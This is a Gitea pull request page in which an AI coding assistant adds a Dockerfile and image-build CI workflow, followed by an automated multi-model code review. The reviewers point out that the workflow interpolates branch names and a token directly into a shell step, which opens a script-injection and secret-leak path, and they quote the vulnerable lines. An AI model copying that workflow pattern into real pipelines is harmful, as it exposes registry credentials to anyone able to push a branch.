CI: build and push the container image for Komodo deploys #22

Merged
steve merged 2 commits from ci-build-image into main 2026-07-18 19:56:06 +00:00
Owner

Adds a Gitea Action that builds the single-binary image and pushes it to the Gitea container registry, so it can be deployed with Komodo.

Image

Multi-stage Dockerfile:

  1. node:22-alpine builds the web bundle.
  2. golang:1.26-alpine embeds it and compiles the static binary (CGO_ENABLED=0, -trimpath -s -w).
  3. alpine:3.20 runtime — non-root user, ca-certificates + tzdata, SQLite on the /data volume, HEALTHCHECK on /api/v1/healthz, OCI provenance labels.

.dockerignore keeps the context lean and forces a fresh web build (never ships stale embed contents).

Workflow (.gitea/workflows/build-image.yml)

Runs on every branch push (and workflow_dispatch); pushes to gitea.stevedudenhoeffer.com/steve/pansy:

Ref Tag
main :latest
any other branch :<branch-name> (sanitized)
every build :sha-<short> (immutable, for pinning)

A push to a PR branch already builds that branch, so there's no separate pull_request trigger (avoids double builds). Modeled on mort's CI (buildx + REGISTRY_USER/REGISTRY_PASSWORD registry login).

README gains a Docker/deploy section with a docker run and a Komodo/Compose snippet.

Verification

No local Docker daemon here, so the build is verified by this branch's own build-image run on the Gitea runner (it should publish :ci-build-image + :sha-<short>). YAML validated; tag sanitization checked (mainlatest, phase-1-authphase-1-auth).

Note: this does not auto-deploy to Komodo — it only publishes images. Happy to add mort-style Komodo stack-update + deploy steps on merge to main if you want that too.

🤖 Generated with Claude Code

Adds a Gitea Action that builds the single-binary image and pushes it to the Gitea container registry, so it can be deployed with Komodo. ## Image Multi-stage `Dockerfile`: 1. `node:22-alpine` builds the web bundle. 2. `golang:1.26-alpine` embeds it and compiles the static binary (`CGO_ENABLED=0`, `-trimpath -s -w`). 3. `alpine:3.20` runtime — non-root user, `ca-certificates` + `tzdata`, SQLite on the `/data` volume, `HEALTHCHECK` on `/api/v1/healthz`, OCI provenance labels. `.dockerignore` keeps the context lean and forces a fresh web build (never ships stale embed contents). ## Workflow (`.gitea/workflows/build-image.yml`) Runs on every branch push (and `workflow_dispatch`); pushes to `gitea.stevedudenhoeffer.com/steve/pansy`: | Ref | Tag | | --- | --- | | `main` | `:latest` | | any other branch | `:<branch-name>` (sanitized) | | every build | `:sha-<short>` (immutable, for pinning) | A push to a PR branch already builds that branch, so there's no separate `pull_request` trigger (avoids double builds). Modeled on `mort`'s CI (buildx + `REGISTRY_USER`/`REGISTRY_PASSWORD` registry login). README gains a Docker/deploy section with a `docker run` and a Komodo/Compose snippet. ## Verification No local Docker daemon here, so the build is verified by this branch's own `build-image` run on the Gitea runner (it should publish `:ci-build-image` + `:sha-<short>`). YAML validated; tag sanitization checked (`main`→`latest`, `phase-1-auth`→`phase-1-auth`). Note: this does not auto-deploy to Komodo — it only publishes images. Happy to add mort-style Komodo stack-update + deploy steps on merge to `main` if you want that too. 🤖 Generated with [Claude Code](https://claude.com/claude-code)
steve added 1 commit 2026-07-18 19:35:34 +00:00
Add Gitea Action to build and push the image for Komodo deploys
Build image / build-and-push (push) Successful in 22s
Gadfly review (reusable) / review (pull_request) Successful in 10m52s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m52s
c9c404aa01
Multi-stage Dockerfile builds the web bundle, embeds it into the static
Go binary (CGO_ENABLED=0), and ships it in a minimal alpine runtime:
non-root user, ca-certificates + tzdata, SQLite on a /data volume,
healthcheck on /api/v1/healthz, OCI provenance labels.

build-image.yml pushes to the Gitea registry on every branch push:
  * main             -> :latest
  * any other branch -> :<branch-name> (sanitized to valid tag chars)
  * every build      -> :sha-<short>   (immutable, for pinning)

A push to a PR branch covers the PR, so there is no separate
pull_request trigger. README documents the image, tags, and a
docker run / Komodo compose snippet. Modeled on mort's CI.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01JdQpdYYsTgtkJBxbcpAszi

🪰 Gadfly — live review status

5/5 reviewers finished · updated 2026-07-18 19:46:26Z

claude-code/sonnet · claude-code — done

  • security — Blocking issues found
  • correctness — Minor issues
  • maintainability — No material issues found
  • performance — Minor issues
  • error-handling — Minor issues

glm-5.2:cloud · ollama-cloud — done

  • security — Minor issues
  • correctness — Minor issues
  • maintainability — Minor issues
  • performance — No material issues found
  • error-handling — Minor issues

kimi-k2.6:cloud · ollama-cloud — done

  • security — Minor issues
  • correctness — No material issues found
  • maintainability — Minor issues
  • performance — Minor issues
  • error-handling — Minor issues

opencode/glm-5.2:cloud · opencode — done

  • security — Blocking issues found
  • correctness — No material issues found
  • maintainability — Minor issues
  • performance — No material issues found
  • error-handling — Minor issues

opencode/kimi-k2.6:cloud · opencode — done

  • ⚠️ security — could not complete
  • correctness — No material issues found
  • maintainability — Minor issues
  • performance — No material issues found
  • error-handling — Blocking issues found

Live status board. Findings are posted in each model's own comment. Advisory only — does not block merge.

<!-- gadfly-status-board --> ## 🪰 Gadfly — live review status 5/5 reviewers finished · updated 2026-07-18 19:46:26Z #### `claude-code/sonnet` · claude-code — ✅ done - ✅ **security** — Blocking issues found - ✅ **correctness** — Minor issues - ✅ **maintainability** — No material issues found - ✅ **performance** — Minor issues - ✅ **error-handling** — Minor issues #### `glm-5.2:cloud` · ollama-cloud — ✅ done - ✅ **security** — Minor issues - ✅ **correctness** — Minor issues - ✅ **maintainability** — Minor issues - ✅ **performance** — No material issues found - ✅ **error-handling** — Minor issues #### `kimi-k2.6:cloud` · ollama-cloud — ✅ done - ✅ **security** — Minor issues - ✅ **correctness** — No material issues found - ✅ **maintainability** — Minor issues - ✅ **performance** — Minor issues - ✅ **error-handling** — Minor issues #### `opencode/glm-5.2:cloud` · opencode — ✅ done - ✅ **security** — Blocking issues found - ✅ **correctness** — No material issues found - ✅ **maintainability** — Minor issues - ✅ **performance** — No material issues found - ✅ **error-handling** — Minor issues #### `opencode/kimi-k2.6:cloud` · opencode — ✅ done - ⚠️ **security** — could not complete - ✅ **correctness** — No material issues found - ✅ **maintainability** — Minor issues - ✅ **performance** — No material issues found - ✅ **error-handling** — Blocking issues found <sub>Live status board. Findings are posted in each model's own comment. Advisory only — does not block merge.</sub>
gitea-actions bot reviewed 2026-07-18 19:46:26 +00:00
gitea-actions bot left a comment

🪰 Gadfly consensus review — 12 inline findings on changed lines. See the consensus comment for the full ranked summary.

Advisory only — does not block merge.

<!-- gadfly-inline-review --> 🪰 **Gadfly consensus review** — 12 inline findings on changed lines. See the consensus comment for the full ranked summary. <sub>Advisory only — does not block merge.</sub>
@@ -0,0 +1,26 @@
# VCS / editor / docs — not needed in the image build context.

🟠 .dockerignore omits .env, allowing local secrets to be baked into build-stage image layer

maintainability, security · flagged by 4 models

🪰 Gadfly · advisory

🟠 **.dockerignore omits .env, allowing local secrets to be baked into build-stage image layer** _maintainability, security · flagged by 4 models_ <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +26,4 @@
build-and-push:
runs-on: ubuntu-latest
steps:
- name: Checkout

🔴 Untrusted github.ref_name interpolated into run: script enables script injection

correctness, error-handling, security · flagged by 5 models

  • .gitea/workflows/build-image.yml:29-31 — GitHub/Gitea Actions script injection. ${{ github.ref_name }} (and ${{ github.token }}) are interpolated directly into the run: shell script text before it's parsed, rather than passed through an env: var: REPO_URL="https://token:${{ github.token }}@gitea.stevedudenhoeffer.com/${{ github.repository }}.git" git clone --depth=1 --branch "${{ github.ref_name }}" "$REPO_URL" . The workflow triggers on push to any branch (`branches:…

🪰 Gadfly · advisory

🔴 **Untrusted github.ref_name interpolated into run: script enables script injection** _correctness, error-handling, security · flagged by 5 models_ - `.gitea/workflows/build-image.yml:29-31` — GitHub/Gitea Actions **script injection**. `${{ github.ref_name }}` (and `${{ github.token }}`) are interpolated directly into the `run:` shell script text before it's parsed, rather than passed through an `env:` var: ``` REPO_URL="https://token:${{ github.token }}@gitea.stevedudenhoeffer.com/${{ github.repository }}.git" git clone --depth=1 --branch "${{ github.ref_name }}" "$REPO_URL" . ``` The workflow triggers on push to **any branch** (`branches:… <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +38,4 @@
env:
REGISTRY_USER: ${{ secrets.REGISTRY_USER }}
REGISTRY_PASSWORD: ${{ secrets.REGISTRY_PASSWORD }}
run: echo "${REGISTRY_PASSWORD}" | docker login gitea.stevedudenhoeffer.com -u "${REGISTRY_USER}" --password-stdin

🟠 docker login failure not isolated; build fails later with cryptic error

error-handling · flagged by 1 model

  • .gitea/workflows/build-image.yml:41docker login failure is not checked. If the registry is unreachable or credentials are wrong, the step exits 0 (because the pipeline only sees the last command's status if it fails, but actually docker login does exit non-zero on failure, so this is a minor concern, except that if REGISTRY_PASSWORD is empty, echo "" | docker login … might behave unexpectedly. However, the bigger issue is: the docker buildx build --push step later will f…

🪰 Gadfly · advisory

🟠 **docker login failure not isolated; build fails later with cryptic error** _error-handling · flagged by 1 model_ - **`.gitea/workflows/build-image.yml:41`** — `docker login` failure is not checked. If the registry is unreachable or credentials are wrong, the step exits 0 (because the pipeline only sees the last command's status if it fails, but actually `docker login` *does* exit non-zero on failure, so this is a minor concern, *except* that if `REGISTRY_PASSWORD` is empty, `echo "" | docker login …` might behave unexpectedly. However, the bigger issue is: the `docker buildx build --push` step later will f… <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +45,4 @@
run: |
SHA_SHORT=$(echo "${GITHUB_SHA}" | cut -c1-7)
if [ "${GITHUB_REF_NAME}" = "main" ]; then
PRIMARY="latest"

🔴 Branch sanitization can produce empty Docker tag causing invalid build command

correctness, error-handling, maintainability · flagged by 5 models

  • .gitea/workflows/build-image.yml:50-52 — Branch-name sanitization can produce an empty string for inputs like --- or / (all characters stripped by the first sed, then the second sed doesn't help because the string is already empty). When PRIMARY is empty, TAGS becomes ,:sha-<short>, which splits into an empty tag and a sha tag. The empty tag causes docker buildx build --tag (trailing nothing) which is invalid syntax and fails the build. Fix: Add a fallback after…

🪰 Gadfly · advisory

🔴 **Branch sanitization can produce empty Docker tag causing invalid build command** _correctness, error-handling, maintainability · flagged by 5 models_ - **`.gitea/workflows/build-image.yml:50-52`** — Branch-name sanitization can produce an **empty string** for inputs like `---` or `/` (all characters stripped by the first `sed`, then the second `sed` doesn't help because the string is already empty). When `PRIMARY` is empty, `TAGS` becomes `,:sha-<short>`, which splits into an empty tag and a sha tag. The empty tag causes `docker buildx build --tag ` (trailing nothing) which is invalid syntax and fails the build. **Fix:** Add a fallback after… <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +55,4 @@
echo "Building tags: ${TAGS}"
- name: Build and push (linux/amd64)
run: |

🟠 TAG_FLAGS string concatenation vulnerable to word-splitting if tags contain spaces

error-handling, maintainability, performance · flagged by 3 models

  • .gitea/workflows/build-image.yml:59-63TAG_FLAGS is built by string concatenation without quotes and later expanded unquoted in the docker buildx build command. If PRIMARY somehow contains a space (e.g., if the sanitization regex is ever relaxed), TAG_FLAGS will inject extra arguments into the docker command, potentially causing mis-tagging or option injection. Fix: Build tags into a bash array and expand it safely: ```bash TAG_FLAGS=() IFS=',' read -ra TAG_ARRAY <<< "${{ s…

🪰 Gadfly · advisory

🟠 **TAG_FLAGS string concatenation vulnerable to word-splitting if tags contain spaces** _error-handling, maintainability, performance · flagged by 3 models_ - **`.gitea/workflows/build-image.yml:59-63`** — `TAG_FLAGS` is built by string concatenation without quotes and later expanded unquoted in the `docker buildx build` command. If `PRIMARY` somehow contains a space (e.g., if the sanitization regex is ever relaxed), `TAG_FLAGS` will inject extra arguments into the docker command, potentially causing mis-tagging or option injection. **Fix:** Build tags into a bash array and expand it safely: ```bash TAG_FLAGS=() IFS=',' read -ra TAG_ARRAY <<< "${{ s… <sub>🪰 Gadfly · advisory</sub>
Dockerfile Outdated
@@ -0,0 +8,4 @@
FROM node:22-alpine AS web
WORKDIR /web
COPY web/package.json web/package-lock.json ./
RUN npm ci

🟠 npm ci lacks BuildKit cache mount, causing redundant package downloads on every build

performance · flagged by 1 model

🪰 Gadfly · advisory

🟠 **npm ci lacks BuildKit cache mount, causing redundant package downloads on every build** _performance · flagged by 1 model_ <sub>🪰 Gadfly · advisory</sub>
Dockerfile Outdated
@@ -0,0 +14,4 @@
# ---- stage 2: build the static Go binary (web bundle embedded) --------------
FROM golang:1.26-alpine AS build
ENV CGO_ENABLED=0 GOTOOLCHAIN=auto

🟠 Dockerfile omits GOWORK=off, diverging from Makefile pattern

maintainability · flagged by 2 models

🪰 Gadfly · advisory

🟠 **Dockerfile omits GOWORK=off, diverging from Makefile pattern** _maintainability · flagged by 2 models_ <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +21,4 @@
COPY . .
# Overlay the freshly built frontend into the embed directory before compiling
# (//go:embed all:dist in internal/webdist).
COPY --from=web /web/dist ./internal/webdist/dist

🟡 Embed path hardcoded while Makefile parameterizes it

maintainability · flagged by 1 model

🪰 Gadfly · advisory

🟡 **Embed path hardcoded while Makefile parameterizes it** _maintainability · flagged by 1 model_ <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +33,4 @@
ARG BUILD_TIME=unknown
LABEL org.opencontainers.image.title="pansy" \
org.opencontainers.image.description="Self-hostable garden planner" \
org.opencontainers.image.source="https://gitea.stevedudenhoeffer.com/steve/pansy" \

🟡 Registry/repo path hardcoded in Dockerfile LABEL, workflow env, and README with no single source of truth

correctness, maintainability · flagged by 3 models

🪰 Gadfly · advisory

🟡 **Registry/repo path hardcoded in Dockerfile LABEL, workflow env, and README with no single source of truth** _correctness, maintainability · flagged by 3 models_ <sub>🪰 Gadfly · advisory</sub>
@@ -0,0 +54,4 @@
VOLUME /data
EXPOSE 8080
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \

🟠 HEALTHCHECK uses wget which may not exist in alpine:3.20 runtime

error-handling · flagged by 1 model

🪰 Gadfly · advisory

🟠 **HEALTHCHECK uses wget which may not exist in alpine:3.20 runtime** _error-handling · flagged by 1 model_ <sub>🪰 Gadfly · advisory</sub>
@@ -61,0 +63,4 @@
CI (`.gitea/workflows/build-image.yml`) builds the single-binary image and pushes it to the Gitea registry on every branch push:
| Ref | Tag |

🟡 Tagging table duplicated between workflow comment and README; will drift

maintainability · flagged by 1 model

  • README.md:66-70 vs .gitea/workflows/build-image.yml:3-7 — duplicated tagging table. The same Ref → Tag mapping appears in the workflow header comment and in the README's Docker section. Two places to keep in sync when tagging rules change; the workflow comment is the canonical source and the README copy will drift. Suggest linking to the workflow instead of restating it, or trimming the README table to prose.

🪰 Gadfly · advisory

🟡 **Tagging table duplicated between workflow comment and README; will drift** _maintainability · flagged by 1 model_ - **`README.md:66-70` vs `.gitea/workflows/build-image.yml:3-7` — duplicated tagging table.** The same `Ref → Tag` mapping appears in the workflow header comment and in the README's Docker section. Two places to keep in sync when tagging rules change; the workflow comment is the canonical source and the README copy will drift. Suggest linking to the workflow instead of restating it, or trimming the README table to prose. <sub>🪰 Gadfly · advisory</sub>
@@ -61,0 +72,4 @@
The image runs as a non-root user, serves on `:8080`, and stores the SQLite database on the `/data` volume. Run it directly:
```sh
docker run -d --name pansy \

🟡 docker run example hardcodes :latest while Compose uses ${PANSY_TAG:-latest}; inconsistent pinning guidance

maintainability · flagged by 1 model

  • README.md:75-78 vs README.md:86,99 — inconsistent tag-pinning guidance. The docker run example hardcodes :latest (line 78), while the Compose example uses ${PANSY_TAG:-latest} (line 86), and the closing sentence tells the user to "pin PANSY_TAG to a sha-<short> tag" (line 99). The docker run example gives no equivalent pinning knob, so a reader of that section's first example gets a different (less reproducible) pattern than the second. Suggest showing `-e PANSY_TAG=sha-<sh…

🪰 Gadfly · advisory

🟡 **docker run example hardcodes :latest while Compose uses ${PANSY_TAG:-latest}; inconsistent pinning guidance** _maintainability · flagged by 1 model_ - **`README.md:75-78` vs `README.md:86,99` — inconsistent tag-pinning guidance.** The `docker run` example hardcodes `:latest` (line 78), while the Compose example uses `${PANSY_TAG:-latest}` (line 86), and the closing sentence tells the user to "pin `PANSY_TAG` to a `sha-<short>` tag" (line 99). The `docker run` example gives no equivalent pinning knob, so a reader of that section's first example gets a different (less reproducible) pattern than the second. Suggest showing `-e PANSY_TAG=sha-<sh… <sub>🪰 Gadfly · advisory</sub>

🪰 Gadfly review — consensus across 5 models

Verdict: Blocking issues found · 12 findings (6 with multi-model agreement)

Finding Where Models Lens
🔴 Untrusted github.ref_name interpolated into run: script enables script injection .gitea/workflows/build-image.yml:29 5/5 correctness, error-handling, security
🔴 Branch sanitization can produce empty Docker tag causing invalid build command .gitea/workflows/build-image.yml:48 5/5 correctness, error-handling, maintainability
🟠 .dockerignore omits .env, allowing local secrets to be baked into build-stage image layer .dockerignore:1 4/5 maintainability, security
🟠 TAG_FLAGS string concatenation vulnerable to word-splitting if tags contain spaces .gitea/workflows/build-image.yml:58 3/5 error-handling, maintainability, performance
🟡 Registry/repo path hardcoded in Dockerfile LABEL, workflow env, and README with no single source of truth Dockerfile:36 3/5 correctness, maintainability
🟠 Dockerfile omits GOWORK=off, diverging from Makefile pattern Dockerfile:17 2/5 maintainability
6 single-model findings (lower confidence)
Finding Where Model Lens
🟠 docker login failure not isolated; build fails later with cryptic error .gitea/workflows/build-image.yml:41 opencode/kimi-k2.6:cloud error-handling
🟠 npm ci lacks BuildKit cache mount, causing redundant package downloads on every build Dockerfile:11 kimi-k2.6:cloud performance
🟠 HEALTHCHECK uses wget which may not exist in alpine:3.20 runtime Dockerfile:57 opencode/kimi-k2.6:cloud error-handling
🟡 Embed path hardcoded while Makefile parameterizes it Dockerfile:24 kimi-k2.6:cloud maintainability
🟡 Tagging table duplicated between workflow comment and README; will drift README.md:66 opencode/glm-5.2:cloud maintainability
🟡 docker run example hardcodes :latest while Compose uses ${PANSY_TAG:-latest}; inconsistent pinning guidance README.md:75 opencode/glm-5.2:cloud maintainability
Per-model detail
claude-code/sonnet (claude-code) — Blocking issues found

Verdict: Blocking issues found — 5 reviewers: security, correctness, maintainability, performance, error-handling

🔒 Security — Blocking issues found

VERDICT: Blocking issues found

  • .gitea/workflows/build-image.yml:29-31 — GitHub/Gitea Actions script injection. ${{ github.ref_name }} (and ${{ github.token }}) are interpolated directly into the run: shell script text before it's parsed, rather than passed through an env: var:

    REPO_URL="https://token:${{ github.token }}@gitea.stevedudenhoeffer.com/${{ github.repository }}.git"
    git clone --depth=1 --branch "${{ github.ref_name }}" "$REPO_URL" .
    

    The workflow triggers on push to any branch (branches: ['**']), and branch names are largely unconstrained by git — git check-ref-format only forbids control chars, space, ~^:?*[\, .., leading -, etc.; it does not forbid ", `, $(), ;. Anyone who can push a branch (not just merge to main) can therefore craft a branch name that breaks out of the quoted --branch "..." argument and injects arbitrary shell commands into this step, running with access to REGISTRY_USER/REGISTRY_PASSWORD (later step, same job/runner) and the clone token — enabling secret exfiltration or pushing a malicious image under this repo's name to the registry. This is CWE-94 and one of the best-documented GitHub Actions misconfigurations. The fix used two steps later for GITHUB_REF_NAME/GITHUB_SHA (referencing them as shell env vars, e.g. "${GITHUB_REF_NAME}") is the correct pattern and should be applied here too: pass ref_name/token/repository via env: and reference them as $GITHUB_REF_NAME, $GITEA_TOKEN, etc. inside the script.

  • .gitea/workflows/build-image.yml:29-30 — Embedding the clone token directly in the URL string (https://token:${{ github.token }}@...) is also risky independent of the injection above: if git clone fails, git commonly echoes the URL (including embedded credentials) in its error output, which lands in the job log; the token also appears as plain argument text passed to git/bash -c. Prefer an auth header (git -c http.extraheader="Authorization: ...") or a credential helper so the token never appears in a URL string.

  • .dockerignore (new file) — Does not exclude .env, even though .gitignore:26 explicitly treats .env as the local secrets file, and README.md:56 documents PANSY_OIDC_CLIENT_SECRET as a real secret loaded via env config. The Dockerfile's build stage does COPY . . (Dockerfile:21) over the full context. For CI builds this is currently moot (the workflow git clones a fresh checkout that never contains .env), but nothing prevents a developer from running docker build . from a working directory that has a real .env with PANSY_OIDC_CLIENT_SECRET populated — that secret would be baked into the build stage's image layer (and cache), even though it's discarded from the final runtime stage, and could leak via docker history, pushed/exported cache, or anyone with pull access to an intermediate/cached layer. Add .env (and .env.*) to .dockerignore to match .gitignore.

🎯 Correctness — Minor issues

Both draft findings are real, but both cited the wrong line numbers (checked against the actual file contents, not just the diff hunk). Verified via read-only inspection only — no repo edits made.

Verdict: Minor issues

  • .gitea/workflows/build-image.yml:32 — The checkout step does git clone --depth=1 --branch "${{ github.ref_name }}" instead of pinning to ${{ github.sha }}. A branch checkout fetches whatever the branch tip is at clone time, not the specific commit that triggered the run. If the branch moves before the runner executes (queued runner, retry, workflow_dispatch, or races outrunning the cancel-in-progress concurrency guard), the image gets built from a later commit than the one whose SHA is used to compute the sha-<short> tag (line 46: SHA_SHORT=$(echo "${GITHUB_SHA}" | cut -c1-7)). This undermines the stated purpose of that tag — "immutable, for pinning." Fix: git clone --branch ... && git checkout "${{ github.sha }}", or use actions/checkout@v4 with ref: ${{ github.sha }} if available.

  • Dockerfile:38org.opencontainers.image.version="${BUILD_BRANCH}" sets the OCI version label to a branch name rather than a semantic version. Minor spec mismatch; the commit is already captured via image.revision on the line above. Low impact since nothing consumes this label yet.

Everything else checks out: /api/v1/healthz matches internal/api/api.go:37, PANSY_PORT/PANSY_DB defaults match internal/config/config.go:68-69, web/vite.config.ts:30's outDir: 'dist' lines up with the Dockerfile's copy overlay, and the .dockerignore exclusion of internal/webdist/dist is consistent with internal/webdist/dist.go.

🧹 Code cleanliness & maintainability — No material issues found

VERDICT: No material issues found

Reviewed through the code cleanliness & maintainability lens: .dockerignore, Dockerfile, .gitea/workflows/build-image.yml, and the README addition.

What I checked:

  • internal/webdist/dist.go and .gitignore to confirm the .dockerignore comment about "dist.go itself is kept" is accurate — it is; only internal/webdist/dist (the directory) is excluded, matching the same split already used in .gitignore.
  • Makefile to compare the Docker build steps (npm ci/build, embed sync) against the existing make web/make build targets — the Dockerfile's stage 1/2 reasonably re-implements this rather than shelling out to make, which is expected given multi-stage build isolation (can't invoke a host Makefile across COPY --from= stages); not duplicated logic worth extracting.
  • .gitea/workflows/adversarial-review.yml as the only other workflow in the repo, to see if there's an established local convention for checkout/tagging the new workflow deviates from — there isn't (it's a uses:-based reusable-workflow call, not comparable), so I can't fault build-image.yml for inconsistency with prior art.
  • The tag-sanitization sed chain and the TAG_FLAGS array-rebuild in build-image.yml — both are self-contained, single-use, and reasonably commented; not the kind of duplicated logic that should be factored into a helper.
  • README addition follows the file's existing table/code-block conventions.

The new files are well-commented (each explaining why, e.g. the .dockerignore note on why internal/webdist/dist is excluded, the workflow header on trigger rationale), appropriately scoped, and don't duplicate logic present elsewhere in the repo. Nothing here rises to a cleanliness/maintainability finding.

Performance — Minor issues

VERDICT: Minor issues

  • .gitea/workflows/build-image.yml:20,33-36,58-73 — Confirmed: the docker buildx build invocation has no --cache-from/--cache-to flags anywhere (lines 58-72), and the only caching mechanism is the RUN --mount=type=cache,target=/go/pkg/mod / target=/root/.cache/go-build mounts in the Dockerfile plus Docker's normal layer cache for npm ci. Those cache mounts live inside the pansy-builder buildx container created by docker buildx create --use --name pansy-builder --driver docker-container 2>/dev/null || docker buildx use pansy-builder — this only reuses the prior builder (and its cache) if a container with that exact name still exists on the same job host; there's no type=registry (or other durable) cache target. Combined with branches: ['**'] triggering a build on every push to every branch, whether this cache is actually reused between runs depends entirely on whether the underlying Gitea Actions runner host is long-lived — nothing in this workflow guarantees that, and there's no fallback cache source if it isn't.
    • Fix: add --cache-from=type=registry,ref=$IMAGE_NAME:buildcache --cache-to=type=registry,ref=$IMAGE_NAME:buildcache,mode=max so cache reuse doesn't depend on runner/builder-container persistence.

Everything else checked out fine: shallow git clone --depth=1 checkout, single-platform (linux/amd64) build, correct Dockerfile layer ordering (go.mod/go.sum copied and downloaded before the rest of the source), and concurrency: cancel-in-progress avoids piling up redundant builds on rapid pushes to the same ref.

🧯 Error handling & edge cases — Minor issues

Verified both findings against .gitea/workflows/build-image.yml directly (this is a new file introduced by the diff, so the diff is the source).

Finding 1 (empty/oversized tag from sanitization, line 51): Hand-traced the pipe and confirmed it — sed 's/[^a-zA-Z0-9._-]/-/g' turns e.g. @@@ into ---, the squeeze collapses to -, and the trim s/^[-.]*//;s/-$// strips that single - down to "". PRIMARY becomes empty, producing tag gitea.stevedudenhoeffer.com/steve/pansy: for the first entry in TAGS (line ~53), which is not a valid Docker reference. The no-length-cap point also holds: Docker tag components are capped at 128 chars while git ref names can exceed that, and the sanitization does no truncation.

However, the draft's claim that this fails "only after the full three-stage build has run" is not something I can confirm and conflicts with how Docker/buildx tag flags work: reference-format validation for --tag happens client-side when the command's tags are parsed/constructed, before BuildKit executes any Dockerfile stages — so this would fail fast, not after wasting the npm/vite/go build. I'm dropping that specific sub-claim as unverified/likely wrong while keeping the core, verified defect.

Finding 2 (buildx create swallows stderr, line 35): Confirmed verbatim in the file: docker buildx create --use --name pansy-builder --driver docker-container 2>/dev/null || docker buildx use pansy-builder. The 2>/dev/null does discard all stderr from the create attempt, not just an "already exists" message, so a failure for any other reason (driver unavailable, docker-container prerequisites missing) falls through to buildx use pansy-builder, which will also fail since no builder was created — masking the real cause. This core claim stands.

The added claim about a cross-branch race "on the same runner" is not verifiable from the workflow file alone (depends on Gitea runner count/configuration, which isn't visible here), so I'm dropping that embellishment and keeping only the confirmed stderr-masking issue.


VERDICT: Minor issues

  • .gitea/workflows/build-image.yml:51 — Branch-name sanitization (sed 's/[^a-zA-Z0-9._-]/-/g' | sed 's/--*/-/g' | sed 's/^[-.]*//;s/-$//') can produce an empty string for a branch made entirely of disallowed characters (e.g. @@@----""), yielding the invalid tag gitea.stevedudenhoeffer.com/steve/pansy:. There's also no length cap: Docker tag components are limited to 128 chars while git permits longer ref names, so an unusually long branch name sails through sanitization unchecked. Low real-world likelihood on a private, single-maintainer repo, but the tag is used without validation.
  • .gitea/workflows/build-image.yml:35docker buildx create --use --name pansy-builder --driver docker-container 2>/dev/null || docker buildx use pansy-builder swallows all stderr from the create attempt, not just the "already exists" case. If creation fails for another reason (driver unavailable, docker-container prerequisites missing, daemon issue), the fallback buildx use pansy-builder will also fail (the builder was never created), surfacing only a generic error and hiding the real root cause.
glm-5.2:cloud (ollama-cloud) — Minor issues

Verdict: Minor issues — 5 reviewers: security, correctness, maintainability, performance, error-handling

🔒 Security — Minor issues

Minor issues found — infra-only PR (Dockerfile + GHA workflow); attack surface is the CI pipeline and image build, not application code.

Findings

  • .gitea/workflows/build-image.yml:31github.token embedded inline in a clone URL, risks log/trace leakage.
    REPO_URL="https://token:${{ github.token }}@gitea.stevedudenhoeffer.com/${{ github.repository }}.git" interpolates the token directly into the run: script body before execution. Two exposure vectors:

    1. The rendered/expanded workflow script (with the literal token) is what the runner executes and may be retained in step logs / debug traces — inline ${{ github.token }} in run: is the classic Actions credential-leak pattern (vs. passing via env:).
    2. If git clone fails, the URL (with embedded credentials) can surface in error output; git redacts in some paths but not all (e.g. GIT_TRACE, custom hooks, or messages that quote REPO_URL).
      Verified by reading the file (build-image.yml:29-32) — there is no env: indirection for the token.

    Suggested fix: pass the token through an env var and use a credential helper / insteadOf instead of an inline-cred URL, e.g.

    - name: Checkout
      env:
        GH_TOKEN: ${{ github.token }}
      run: |
        git config --global "url.https://oauth2:${GH_TOKEN}@gitea.stevedudenhoeffer.com/.insteadOf" "https://gitea.stevedudenhoeffer.com/"
        git clone --depth=1 --branch "${GITHUB_REF_NAME}" "https://gitea.stevedudenhoeffer.com/${GITHUB_REPOSITORY}.git" .
    

    (Or just use actions/checkout, which handles this securely.) Note: the registry password is already handled correctly via --password-stdin (build-image.yml:41), so this is specific to the clone token.

Verified clean (security lens)

  • Registry login uses --password-stdin with env-scoped secret — no password in process args. ✓ (build-image.yml:37-41)
  • Image tag values fed to $TAG_FLAGS are derived from a hardcoded IMAGE_NAME plus a sanitized PRIMARY (charset collapsed to [a-zA-Z0-9._-]) and hex SHA_SHORT — no shell/registry injection via tags. ✓ (build-image.yml:43-63)
  • BUILD_BRANCH/BUILD_COMMIT build-args flow into Docker LABELs only, not into any RUN execution; even raw GITHUB_REF_NAME here can't escape the double-quoted build-arg or the label string. ✓ (Dockerfile:20-26, build-image.yml:69-71)
  • Runtime image drops to a non-root user (USER pansy, uid 10001) before ENTRYPOINT; /data is owned by that user. ✓ (Dockerfile:39-48)
  • .dockerignore excludes .git, .gitea, local DBs, node_modules, and stale embed contents — no secret-laden local artifacts smuggled into the build context. ✓
  • No latest overwrite from non-main branches (only mainlatest), so a feature branch can't poison the pin-tracking tag. ✓ (build-image.yml:47-53)
🎯 Correctness — Minor issues

Both findings verified against the actual code.

For finding 1 (line 51): the sed chain is s/[^a-zA-Z0-9._-]/-/g then s/--*/-/g then strip leading/trailing [-.]. The allowed set explicitly includes . and _, so the draft's claim that dots/underscores map to - is wrong — they are preserved. However, / does map to - and consecutive dashes collapse to one, so genuine collisions exist (e.g. feature/auth and feature-auth both → feature-auth; feature--authfeature-auth). The core issue (non-main branch tags are not collision-safe) is real, so I keep it with a corrected title.

For finding 2 (line 48): the latest special-case is gated only on GITHUB_REF_NAME == "main". A non-main branch literally named latest falls through to the else branch, sanitizes to latest, and pushes :latest, clobbering main. Confirmed.

VERDICT: Minor issues

  • .gitea/workflows/build-image.yml:51Branch-tag sanitization is not collision-safe. / (and any char outside [a-zA-Z0-9._-]) maps to -, then --* collapses runs of dashes, so distinct branch names collapse to the same tag — e.g. feature/auth and feature-auth both normalize to :feature-auth and overwrite each other. The immutable :sha-<short> tags stay unique so pinning is unaffected, but the human branch tag is not branch-unique. (Note: . and _ are in the allowed set and are preserved, so they do not contribute to collisions.) Suggested fix: include a short-sha disambiguator in the branch tag (e.g. :<branch>-sha-<short>), or drop the human branch tag and keep only :latest/:sha-.
